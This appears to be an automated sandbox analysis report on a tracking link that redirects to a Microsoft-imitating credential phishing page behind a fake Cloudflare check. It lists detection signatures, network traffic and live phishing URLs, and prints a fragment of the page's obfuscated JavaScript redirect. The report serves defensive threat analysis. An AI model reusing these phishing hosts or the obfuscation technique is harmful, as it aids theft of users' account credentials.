Edit tour

Windows Analysis Report
https://www.phsinc.com/?bwfan-track-action=click&bwfan-track-id=0ecdd1bdf2276cad3fa2d27ffa918e84&bwfan-uid=e2dffed46dd69d19d18bc527d6255bd5&bwfan-link=%68%74%74%70%73%3A%2F%2F%6D%61%69%6C%2E%72%69%67%6F%74%69%6C%65%73%2E%63%6F%6D%2F%6A%50%73%51%57%55%63%42

Overview

General Information

Sample URL:	https://www.phsinc.com/?bwfan-track-action=click&bwfan-track-id=0ecdd1bdf2276cad3fa2d27ffa918e84&bwfan-uid=e2dffed46dd69d19d18bc527d6255bd5&bwfan-link=%68%74%74%70%73%3A%2F%2F%6D%61%69%6C%2E%72%69%67%
Analysis ID:	1546429
Infos:

Detection

HTMLPhisher, ReCaptcha Phish

Score:	88
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

AI detected phishing page

Antivirus / Scanner detection for submitted sample

Yara detected HtmlPhish54

Yara detected Recaptcha Phish

Phishing site detected (based on favicon image match)

Phishing site detected (based on image similarity)

Phishing site detected (based on logo match)

Phishing site or detected (based on various text indicators)

Detected non-DNS traffic on DNS port

Detected suspicious crossdomain redirect

HTML body contains low number of good links

HTML page contains hidden javascript code

HTML page contains string obfuscation

HTML title does not match URL

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Classification

Process Tree

System is w10x64_ra

chrome.exe (PID: 852 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7004 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2212 --field-trial-handle=1952,i,4673534725158447727,11309025112400644165,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6644 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://www.phsinc.com/?bwfan-track-action=click&bwfan-track-id=0ecdd1bdf2276cad3fa2d27ffa918e84&bwfan-uid=e2dffed46dd69d19d18bc527d6255bd5&bwfan-link=%68%74%74%70%73%3A%2F%2F%6D%61%69%6C%2E%72%69%67%6F%74%69%6C%65%73%2E%63%6F%6D%2F%6A%50%73%51%57%55%63%42" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author
0.16.id.script.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
0.6.id.script.csv	JoeSecurity_ReCaptchaPhish	Yara detected Recaptcha Phish	Joe Security
0.7.id.script.csv	JoeSecurity_ReCaptchaPhish	Yara detected Recaptcha Phish	Joe Security
0.28.i.script.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
0.11.i.script.csv	JoeSecurity_ReCaptchaPhish	Yara detected Recaptcha Phish	Joe Security
0.12.i.script.csv	JoeSecurity_ReCaptchaPhish	Yara detected Recaptcha Phish	Joe Security
1.0.pages.csv	JoeSecurity_ReCaptchaPhish	Yara detected Recaptcha Phish	Joe Security
2.6.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
1.5.pages.csv	JoeSecurity_ReCaptchaPhish	Yara detected Recaptcha Phish	Joe Security
3.7.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
3.8.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
3.10.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
1.1.pages.csv	JoeSecurity_ReCaptchaPhish	Yara detected Recaptcha Phish	Joe Security
Click to see the 8 entries

Suricata Signatures

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T21:54:56.501703+0100	2022930	1	A Network Trojan was detected	172.202.163.200	443	192.168.2.16	49746	TCP
2024-10-31T21:55:19.925194+0100	2022930	1	A Network Trojan was detected	52.149.20.212	443	192.168.2.16	51035	TCP
2024-10-31T21:55:21.666406+0100	2022930	1	A Network Trojan was detected	52.149.20.212	443	192.168.2.16	51038	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: https://www.phsinc.com/?bwfan-track-action=click&bwfan-track-id=0ecdd1bdf2276cad3fa2d27ffa918e84&bwfan-uid=e2dffed46dd69d19d18bc527d6255bd5&bwfan-link=%68%74%74%70%73%3A%2F%2F%6D%61%69%6C%2E%72%69%67%6F%74%69%6C%65%73%2E%63%6F%6D%2F%6A%50%73%51%57%55%63%42

SlashNext: detection malicious, Label: Credential Stealing type: Phishing & Social Engineering

Phishing

AI detected phishing page

Source: https://mail.rigotiles.com/jPsQWUcB	LLM: Score: 9 Reasons: The brand 'Microsoft' is well-known and typically associated with the domain 'microsoft.com'., The URL 'mail.rigotiles.com' does not match the legitimate domain for Microsoft., The domain 'rigotiles.com' does not appear to be associated with Microsoft., The presence of a subdomain 'mail' could be an attempt to mimic a legitimate service like Outlook or Office 365., The input fields labeled as 'unknown' suggest a lack of clarity or potential obfuscation, which is common in phishing sites. DOM: 1.4.pages.csv
Source: https://mail.rigotiles.com/jPsQWUcB	LLM: Score: 9 Reasons: The brand 'Microsoft' is classified as 'wellknown'., The URL 'mail.rigotiles.com' does not match the legitimate domain 'microsoft.com'., The domain 'rigotiles.com' does not have any known association with Microsoft., The presence of a subdomain 'mail' could be an attempt to mimic a legitimate service like Outlook or Office 365., The URL does not contain any direct reference to Microsoft, which is suspicious., The input fields labeled as 'unknown' do not provide any context or association with Microsoft services. DOM: 1.2.pages.csv

Yara detected HtmlPhish54

Source: Yara match	File source: 0.16.id.script.csv, type: HTML
Source: Yara match	File source: 0.28.i.script.csv, type: HTML
Source: Yara match	File source: 2.6.pages.csv, type: HTML
Source: Yara match	File source: 3.7.pages.csv, type: HTML
Source: Yara match	File source: 3.8.pages.csv, type: HTML
Source: Yara match	File source: 3.10.pages.csv, type: HTML

Yara detected Recaptcha Phish

Source: Yara match	File source: 0.6.id.script.csv, type: HTML
Source: Yara match	File source: 0.7.id.script.csv, type: HTML
Source: Yara match	File source: 0.11.i.script.csv, type: HTML
Source: Yara match	File source: 0.12.i.script.csv, type: HTML
Source: Yara match	File source: 1.0.pages.csv, type: HTML
Source: Yara match	File source: 1.5.pages.csv, type: HTML
Source: Yara match	File source: 1.1.pages.csv, type: HTML

Phishing site detected (based on favicon image match)

Source: https://rigotiles.com	Matcher: Template: microsoft matched with high similarity
Source: https://mail.rigotiles.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638660049050246663.ODc3ZjU4ZjQtODc2Zi00ODIzLWE0ZWYtZTkwNDU1YWI0OTFiM2NlOWFhNzEtMjU2Ny00ZjYwLTgzNzEtODIzYmIwYzA4ODM0&ui_locales=en-US&mkt=en-US&client-request-id=38bb8568-fea6-41ed-ae3e-ed6af3504c2b&state=x4Aec5a0t6Chw2Cmg3oyOPc-mwB2u0ch0KBYfu6mFO5Ma9nmM_3GwZPFX412dON63puN8EmddEU_qbWoXhATmOc0tMJNkQgq5JBQxfDDFQOnDaAULmUWlGDanz3aCy4nYqKb7pQIfefqVH19cqYbRn5LhF6TdIjTRmTo2w8AteES04W1enQACj8zsPIvZTVP2q0Ivk-tgunlyCULGc3oUQHLKsH_aN5xgAMMDXqLt9ycip-0aqZMys4sowroO7trqWt3x56-Y1VnFgP7VP530Q&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	Matcher: Template: microsoft matched with high similarity

Phishing site detected (based on image similarity)

Source: https://mail.rigotiles.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638660049050246663.ODc3ZjU4ZjQtODc2Zi00ODIzLWE0ZWYtZTkwNDU1YWI0OTFiM2NlOWFhNzEtMjU2Ny00ZjYwLTgzNzEtODIzYmIwYzA4ODM0&ui_locales=en-US&mkt=en-US&client-request-id=38bb8568-fea6-41ed-ae3e-ed6af3504c2b&state=x4Aec5a0t6Chw2Cmg3oyOPc-mwB2u0ch0KBYfu6mFO5Ma9nmM_3GwZPFX412dON63puN8EmddEU_qbWoXhATmOc0tMJNkQgq5JBQxfDDFQOnDaAULmUWlGDanz3aCy4nYqKb7pQIfefqVH19cqYbRn5LhF6TdIjTRmTo2w8AteES04W1enQACj8zsPIvZTVP2q0Ivk-tgunlyCULGc3oUQHLKsH_aN5xgAMMDXqLt9ycip-0aqZMys4sowroO7trqWt3x56-Y1VnFgP7VP530Q&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true

Matcher: Found strong image similarity, brand: MICROSOFT

Phishing site detected (based on logo match)

Source: https://mail.rigotiles.com/jPsQWUcB	Matcher: Template: cloudflare matched
Source: https://mail.rigotiles.com/jPsQWUcB	Matcher: Template: cloudflare matched
Source: https://mail.rigotiles.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeH	Matcher: Template: microsoft matched

Phishing site or detected (based on various text indicators)

Source: Chrome DOM: 1.4

OCR Text: Microsoft Please stand by, while we are checking if the site connection is secure Verifying... CLOUDFLARE Ten-ns Microsoft needs to review the security of your connection before proceeding. Performance & security by Microsoft

HTTP Parser: Number of links: 0

HTTP Parser: Base64 decoded: 877f58f4-876f-4823-a4ef-e90455ab491b3ce9aa71-2567-4f60-8371-823bb0c08834

Source: https://mail.rigotiles.com/jPsQWUcB

HTTP Parser: Found new string: script ...var verifyCallback_CF = function (response) {. console.log("verified");. window.location.assign('h' + 'ttp' + 's' + '://' + 'm' + 'ai' + 'l' + '.' + 'ri' + 'go' + 't' + 'il' + 'e' + 's.' + 'c' + 'om' + '/jP' + 's' + 'QW' + 'Uc' + 'B?' + 'y=' + 'IU' + 'm' + 'JJi' + 'k');. };.....

HTTP Parser: Title: Sign in to your account does not match URL

HTTP Parser: Iframe src: https://ywnjb.rigotiles.com/Me.htm?v=3

Source: https://mail.rigotiles.com/jPsQWUcB	HTTP Parser: No favicon
Source: https://mail.rigotiles.com/jPsQWUcB	HTTP Parser: No favicon
Source: https://mail.rigotiles.com/jPsQWUcB	HTTP Parser: No favicon
Source: https://mail.rigotiles.com/jPsQWUcB	HTTP Parser: No favicon
Source: https://mail.rigotiles.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638660049050246663.ODc3ZjU4ZjQtODc2Zi00ODIzLWE0ZWYtZTkwNDU1YWI0OTFiM2NlOWFhNzEtMjU2Ny00ZjYwLTgzNzEtODIzYmIwYzA4ODM0&ui_locales=en-US&mkt=en-US&client-request-id=38bb8568-fea6-41ed-ae3e-ed6af3504c2b&state=x4Aec5a0t6Chw2Cmg3oyOPc-mwB2u0ch0KBYfu6mFO5Ma9nmM_3GwZPFX412dON63puN8EmddEU_qbWoXhATmOc0tMJNkQgq5JBQxfDDFQOnDaAULmUWlGDanz3aCy4nYqKb7pQIfefqVH19cqYbRn5LhF6TdIjTRmTo2w8AteES04W1enQACj8zsPIvZTVP2q0Ivk-tgunlyCULGc3oUQHLKsH_aN5xgAMMDXqLt9ycip-0aqZMys4sowroO7trqWt3x56-Y1VnFgP7VP530Q&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0	HTTP Parser: No favicon

Source: https://mail.rigotiles.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638660049050246663.ODc3ZjU4ZjQtODc2Zi00ODIzLWE0ZWYtZTkwNDU1YWI0OTFiM2NlOWFhNzEtMjU2Ny00ZjYwLTgzNzEtODIzYmIwYzA4ODM0&ui_locales=en-US&mkt=en-US&client-request-id=38bb8568-fea6-41ed-ae3e-ed6af3504c2b&state=x4Aec5a0t6Chw2Cmg3oyOPc-mwB2u0ch0KBYfu6mFO5Ma9nmM_3GwZPFX412dON63puN8EmddEU_qbWoXhATmOc0tMJNkQgq5JBQxfDDFQOnDaAULmUWlGDanz3aCy4nYqKb7pQIfefqVH19cqYbRn5LhF6TdIjTRmTo2w8AteES04W1enQACj8zsPIvZTVP2q0Ivk-tgunlyCULGc3oUQHLKsH_aN5xgAMMDXqLt9ycip-0aqZMys4sowroO7trqWt3x56-Y1VnFgP7VP530Q&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: No <meta name="author".. found
Source: https://mail.rigotiles.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638660049050246663.ODc3ZjU4ZjQtODc2Zi00ODIzLWE0ZWYtZTkwNDU1YWI0OTFiM2NlOWFhNzEtMjU2Ny00ZjYwLTgzNzEtODIzYmIwYzA4ODM0&ui_locales=en-US&mkt=en-US&client-request-id=38bb8568-fea6-41ed-ae3e-ed6af3504c2b&state=x4Aec5a0t6Chw2Cmg3oyOPc-mwB2u0ch0KBYfu6mFO5Ma9nmM_3GwZPFX412dON63puN8EmddEU_qbWoXhATmOc0tMJNkQgq5JBQxfDDFQOnDaAULmUWlGDanz3aCy4nYqKb7pQIfefqVH19cqYbRn5LhF6TdIjTRmTo2w8AteES04W1enQACj8zsPIvZTVP2q0Ivk-tgunlyCULGc3oUQHLKsH_aN5xgAMMDXqLt9ycip-0aqZMys4sowroO7trqWt3x56-Y1VnFgP7VP530Q&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: No <meta name="author".. found
Source: https://mail.rigotiles.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638660049050246663.ODc3ZjU4ZjQtODc2Zi00ODIzLWE0ZWYtZTkwNDU1YWI0OTFiM2NlOWFhNzEtMjU2Ny00ZjYwLTgzNzEtODIzYmIwYzA4ODM0&ui_locales=en-US&mkt=en-US&client-request-id=38bb8568-fea6-41ed-ae3e-ed6af3504c2b&state=x4Aec5a0t6Chw2Cmg3oyOPc-mwB2u0ch0KBYfu6mFO5Ma9nmM_3GwZPFX412dON63puN8EmddEU_qbWoXhATmOc0tMJNkQgq5JBQxfDDFQOnDaAULmUWlGDanz3aCy4nYqKb7pQIfefqVH19cqYbRn5LhF6TdIjTRmTo2w8AteES04W1enQACj8zsPIvZTVP2q0Ivk-tgunlyCULGc3oUQHLKsH_aN5xgAMMDXqLt9ycip-0aqZMys4sowroO7trqWt3x56-Y1VnFgP7VP530Q&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: No <meta name="author".. found

Source: https://mail.rigotiles.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638660049050246663.ODc3ZjU4ZjQtODc2Zi00ODIzLWE0ZWYtZTkwNDU1YWI0OTFiM2NlOWFhNzEtMjU2Ny00ZjYwLTgzNzEtODIzYmIwYzA4ODM0&ui_locales=en-US&mkt=en-US&client-request-id=38bb8568-fea6-41ed-ae3e-ed6af3504c2b&state=x4Aec5a0t6Chw2Cmg3oyOPc-mwB2u0ch0KBYfu6mFO5Ma9nmM_3GwZPFX412dON63puN8EmddEU_qbWoXhATmOc0tMJNkQgq5JBQxfDDFQOnDaAULmUWlGDanz3aCy4nYqKb7pQIfefqVH19cqYbRn5LhF6TdIjTRmTo2w8AteES04W1enQACj8zsPIvZTVP2q0Ivk-tgunlyCULGc3oUQHLKsH_aN5xgAMMDXqLt9ycip-0aqZMys4sowroO7trqWt3x56-Y1VnFgP7VP530Q&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: No <meta name="copyright".. found
Source: https://mail.rigotiles.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638660049050246663.ODc3ZjU4ZjQtODc2Zi00ODIzLWE0ZWYtZTkwNDU1YWI0OTFiM2NlOWFhNzEtMjU2Ny00ZjYwLTgzNzEtODIzYmIwYzA4ODM0&ui_locales=en-US&mkt=en-US&client-request-id=38bb8568-fea6-41ed-ae3e-ed6af3504c2b&state=x4Aec5a0t6Chw2Cmg3oyOPc-mwB2u0ch0KBYfu6mFO5Ma9nmM_3GwZPFX412dON63puN8EmddEU_qbWoXhATmOc0tMJNkQgq5JBQxfDDFQOnDaAULmUWlGDanz3aCy4nYqKb7pQIfefqVH19cqYbRn5LhF6TdIjTRmTo2w8AteES04W1enQACj8zsPIvZTVP2q0Ivk-tgunlyCULGc3oUQHLKsH_aN5xgAMMDXqLt9ycip-0aqZMys4sowroO7trqWt3x56-Y1VnFgP7VP530Q&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: No <meta name="copyright".. found
Source: https://mail.rigotiles.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638660049050246663.ODc3ZjU4ZjQtODc2Zi00ODIzLWE0ZWYtZTkwNDU1YWI0OTFiM2NlOWFhNzEtMjU2Ny00ZjYwLTgzNzEtODIzYmIwYzA4ODM0&ui_locales=en-US&mkt=en-US&client-request-id=38bb8568-fea6-41ed-ae3e-ed6af3504c2b&state=x4Aec5a0t6Chw2Cmg3oyOPc-mwB2u0ch0KBYfu6mFO5Ma9nmM_3GwZPFX412dON63puN8EmddEU_qbWoXhATmOc0tMJNkQgq5JBQxfDDFQOnDaAULmUWlGDanz3aCy4nYqKb7pQIfefqVH19cqYbRn5LhF6TdIjTRmTo2w8AteES04W1enQACj8zsPIvZTVP2q0Ivk-tgunlyCULGc3oUQHLKsH_aN5xgAMMDXqLt9ycip-0aqZMys4sowroO7trqWt3x56-Y1VnFgP7VP530Q&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.16:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.85.23.206:443 -> 192.168.2.16:51028 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.16:51032 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.16:51035 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.16:51038 version: TLS 1.2

Source: global traffic	TCP traffic: 192.168.2.16:49711 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:53699 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:51025 -> 162.159.36.2:53

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

HTTP traffic: Redirect from: www.phsinc.com to https://mail.rigotiles.com/jpsqwucb

Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 172.202.163.200:443 -> 192.168.2.16:49746
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 52.149.20.212:443 -> 192.168.2.16:51035
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 52.149.20.212:443 -> 192.168.2.16:51038

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108

Source: global traffic	HTTP traffic detected: GET /?bwfan-track-action=click&bwfan-track-id=0ecdd1bdf2276cad3fa2d27ffa918e84&bwfan-uid=e2dffed46dd69d19d18bc527d6255bd5&bwfan-link=%68%74%74%70%73%3A%2F%2F%6D%61%69%6C%2E%72%69%67%6F%74%69%6C%65%73%2E%63%6F%6D%2F%6A%50%73%51%57%55%63%42 HTTP/1.1Host: www.phsinc.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jPsQWUcB HTTP/1.1Host: mail.rigotiles.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /1/api.js HTTP/1.1Host: js.hcaptcha.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://mail.rigotiles.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/api.js?onload=onloadTurnstileCallback HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://mail.rigotiles.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SJ5tdZc/download.png[/img HTTP/1.1Host: i.ibb.coConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mail.rigotiles.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/b/22755d9a86c9/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://mail.rigotiles.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
